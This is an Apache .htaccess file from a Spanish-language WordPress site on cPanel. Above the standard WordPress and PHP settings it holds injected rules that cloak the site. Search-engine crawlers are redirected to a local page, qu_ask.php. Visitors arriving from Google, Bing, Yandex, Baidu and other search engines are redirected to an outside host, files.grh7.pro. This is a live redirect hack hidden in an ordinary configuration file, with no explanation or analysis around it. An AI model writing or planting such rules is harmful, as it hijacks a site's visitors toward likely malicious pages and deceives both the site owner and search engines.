File: /home/trebiaseguros/www/dev.trebiaseguros.com/.htaccess
<IfModule mod_setenvif.c>
SetEnvIfNoCase User-Agent "(Googlebot|Googlebot-Image|Googlebot-News|bingbot|Baiduspider|YandexBot|Slurp|DuckDuckBot|Sogou|Bytespider|AdsBot-Google|Mediapartners-Google)" is_spider=1
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/qu_ask\.php$ [NC]
RewriteRule ^ - [L]
RewriteCond %{ENV:is_spider} ^1$
RewriteCond %{REQUEST_URI} !^/news/
RewriteCond %{REQUEST_URI} !^/qu_ask\.php$ [NC]
RewriteRule ^.*$ /qu_ask.php [R=301,L]
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?%{HTTP_HOST} [NC]
RewriteCond %{ENV:is_spider} !=1
RewriteCond %{HTTP_REFERER} google\.[^/]+/(search|url) [NC,OR]
RewriteCond %{HTTP_REFERER} bing\.com/(search|ck/) [NC,OR]
RewriteCond %{HTTP_REFERER} (search\.yahoo\.com|r\.search\.yahoo\.com) [NC,OR]
RewriteCond %{HTTP_REFERER} baidu\.com/(s|link) [NC,OR]
RewriteCond %{HTTP_REFERER} sogou\.com/web [NC,OR]
RewriteCond %{HTTP_REFERER} duckduckgo\.com/\? [NC,OR]
RewriteCond %{HTTP_REFERER} yandex\.(com|ru|net)/search [NC]
RewriteRule ^ https://files.grh7.pro/new.php [R=301,L]
</IfModule>
# BEGIN WordPress
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress.
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
# BEGIN cPanel-generated php ini directives, do not edit
# Manual editing of this file may result in unexpected behavior.
# To make changes to this file, use the cPanel MultiPHP INI Editor (Home >> Software >> MultiPHP INI Editor)
# For more information, read our documentation (https://go.cpanel.net/EA4ModifyINI)
<IfModule php7_module>
php_flag display_errors Off
php_value max_execution_time 30
php_value max_input_time 60
php_value max_input_vars 1000
php_value memory_limit 32M
php_value post_max_size 8M
php_value session.gc_maxlifetime 1440
php_value session.save_path "/var/cpanel/php/sessions/ea-php74"
php_value upload_max_filesize 2M
php_flag zlib.output_compression Off
</IfModule>
<IfModule lsapi_module>
php_flag display_errors Off
php_value max_execution_time 30
php_value max_input_time 60
php_value max_input_vars 1000
php_value memory_limit 32M
php_value post_max_size 8M
php_value session.gc_maxlifetime 1440
php_value session.save_path "/var/cpanel/php/sessions/ea-php74"
php_value upload_max_filesize 2M
php_flag zlib.output_compression Off
</IfModule>
# END cPanel-generated php ini directives, do not edit